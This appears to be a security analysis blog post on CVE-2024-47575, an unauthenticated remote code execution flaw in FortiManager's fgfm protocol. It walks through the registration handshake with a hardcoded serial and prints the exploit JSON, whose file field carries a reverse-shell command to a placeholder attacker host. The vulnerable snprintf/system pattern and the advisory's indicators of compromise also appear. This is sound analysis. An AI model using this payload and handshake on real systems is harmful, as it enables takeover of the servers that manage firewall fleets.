The fgfm wire format is one magic number and a key-value body
A FortiGate registers itself with its FortiManager by opening a TLS connection to TCP port 541 and sending framed packets. Each frame is a four-byte big-endian magic number, a four-byte big-endian length, and a body terminated with a null byte. The body is a command name, a newline, and newline-separated key-value pairs.
# from the public PoC
message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
The first command the client sends is get ip. The second is get auth. The third is get file_exchange. The body of get auth carries everything the server needs to treat the connection as a registered FortiGate:
get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
serialno is a string the caller chooses. mgmtid is all zeros. hostname is the literal word FortiGate. None of these are validated against an external truth. They are self-declared identity fields. The server reads them, stores them, and uses them to route follow-up commands.
After get auth the caller sends get file_exchange, receives a remoteid back, and is now a registered device from the server's point of view. The trust decision at that point is: this connection came from a FortiGate whose serial number is FGVMEVWG8YMT3R63. Nothing in that trust decision came from outside the caller's own typing.
The only check the server enforces is that the caller agrees with themselves
The fgfm protocol requires mutual TLS. The server expects the caller to present a client certificate. The server's documented check is that the Common Name on that certificate equals the serialno value in the registration body.
That is the check. The whole check.
watchTowr's public exploit ships two files: w00t_cert.bin and w00t_key.bin. The cert is PEM-encoded. Decoded, its subject is:
Subject: C=US, ST=California, L=Sunnyvale,
O=Fortinet, OU=FortiGate,
CN=FGVMEVWG8YMT3R63,
emailAddress=support@fortinet.com
The get auth request above declares serialno=FGVMEVWG8YMT3R63. The CN and the serial match. The server's check is satisfied.
The certificate's issuer field claims O=Fortinet, OU=Certificate Authority, CN=support, which is the Fortinet Factory CA namespace. watchTowr's own writeup notes that a working certificate "must be extracted from an actual FortiGate device or its associated Certificate Authority." Either path suffices. Anyone who owns a single FortiGate, or who has spun up a FortiGate-VM image, owns a primitive that mints client certificates for any serial number they choose to type.
The mechanism is not a bypass. The mechanism is the check working as written. The server reads one string from the certificate the caller generated, reads another string from the registration body the caller wrote, and confirms the two strings are equal. It does not know the string is a real serial number Fortinet ever manufactured. It does not know the serial belongs to the customer whose FortiManager is accepting the connection. It knows only that the caller wrote the same value twice.
Writing the same serial in two places is the entire authentication.
The RCE is a cp shell-out inside a JSON command
Once the caller holds a remoteid, they open a command channel:
channel
remoteid=<value>
<json-length>
<json-payload>
The JSON payload in the public exploit invokes the um/som/export endpoint. um/som/export is part of FortiManager's service-object-management API, the internal JSON-RPC bus a managed FortiGate uses to request that FortiManager serialize a configuration artifact and hand it back. The handler's job is to build the artifact on disk and return a path. The file parameter is the destination name the caller wants:
{
"method": "exec",
"id": 1,
"params": [{
"url": "um/som/export",
"data": {
"file": "`sh -i >& /dev/tcp/ATTACKER/PORT 0>&1`"
}
}]
}
Inside the handler, watchTowr reverse-engineered the following shape:
snprintf(s, 0x200, "cp %s %s", srcFilename, *destFilename);
system(s);
snprintf concatenates the attacker-supplied file value into a shell command string. system() hands that string to sh -c. The backticks in the file field trigger shell command substitution before cp ever sees an argument. The reverse shell fires. Code execution happens inside fgfmd, the daemon that orchestrates the fleet.
There is nothing exotic about this primitive. system() on a concatenated path is the reason execve and parameterized argument arrays exist. The cp %s %s shape is textbook. What is interesting is not that the pattern appears in FortiManager's code. It is that the pattern appears on the far side of a network boundary that does not authenticate. The attacker is not a local user who smuggled a filename through a form. The attacker is an internet peer who typed a serial number.
FortiManager is the authority that pushes policy to the fleet
A FortiGate appliance at the edge of a customer network takes orders from its FortiManager. The FortiManager holds the firewall policy set the fleet enforces. It holds the VPN tunnel configurations and the IPSec preshared keys. It holds the FortiGuard subscription keys the devices use to fetch signature updates. It pushes firmware images. It signs the updates the fleet accepts. It aggregates the logs the SOC looks at. Operating a FortiGate in FortiManager-managed mode is a decision to grant FortiManager the authority to rewrite, on schedule, what every FortiGate does and what the SOC sees it do.
CVE-2024-47575 is unauthenticated RCE on that authority. A caller who completes the get auth handshake with a Fortinet-lineage cert and any chosen serial, opens a command channel, and sends the um/som/export payload, now runs code on the management plane. Not on one FortiGate. On the thing that writes the rules to all of them, signs the updates they accept, and aggregates the logs that would have shown the compromise.
The pattern is security-tool-as-primitive. FortiManager exists in a customer's network because the customer wanted a centralized authority steering a distributed fleet. Its defensive mission is exactly the policy-push privilege. The bug grants that mission's primitive to any TCP peer who can produce matching strings across its own TLS handshake and its own registration body. The compromise of one FortiManager inherits authority over every FortiGate that reports to it, because that inheritance is the product's job. Nothing extra is required for blast radius. The blast radius is the deployment footprint, which for a FortiManager customer is the customer's perimeter, the customer's VPN termination, and the customer's logging pipeline at once.
This is why FortiManager was always going to be a high-value target. CVE-2024-47575 is the primitive arriving through the front door.
The CVE is the trailing indicator
Fortinet published advisory FG-IR-24-423 on October 23, 2024. The advisory states that reports have shown the vulnerability to be exploited in the wild. It enumerates nine attacker IP addresses. It enumerates three serial numbers observed registering unauthorized devices: FMG-VMTM23017412, FMG-VMTM19008093, and FGVMEVWG8YMT3R63. It enumerates two file paths the intruder tooling leaves behind: /tmp/.tm and /var/tmp/.tm.
FGVMEVWG8YMT3R63 is the serial hardcoded in watchTowr's public PoC. It is the serial hardcoded in the public Nuclei template at projectdiscovery/nuclei-templates/code/cves/2024/CVE-2024-47575.yaml. It is the same string Fortinet prints as an indicator of compromise. The overlap is not incidental. The IOC list cannot tell the defender whether a given registration under that serial came from the threat actor running their own kit or from a blue-team operator running the public PoC to test exposure, because the protocol does not distinguish between them. Both produce a registration under an attacker-chosen serial. A defender who sees FGVMEVWG8YMT3R63 in their logs is looking at a string somebody typed, and the logs cannot tell them who. Fortinet's IOC document is the vendor's own admission that identity on the fgfm protocol is a field the caller types.
Mandiant's public reporting traces in-wild exploitation of this bug to no later than June 2024. The advisory is dated October 23, 2024. The window is approximately four months. In that window, unauthorized devices registered against FortiManagers around the world, and the defenders responsible for those FortiManagers had no CVE number against which to triage. The pattern is disclosure-after-exploitation: the CVE is the vendor closing the paperwork on a breach record that predates it.
The advisory credits Mandiant for threat intelligence findings and for reporting a specific attacker IP, 195.85.114.78. It does not credit anyone for finding the bug before the bug was in use. Nobody has been credited for that, because the bug was not found in that order. It was found by being used, and then documented as a list of the serial numbers the attacker typed.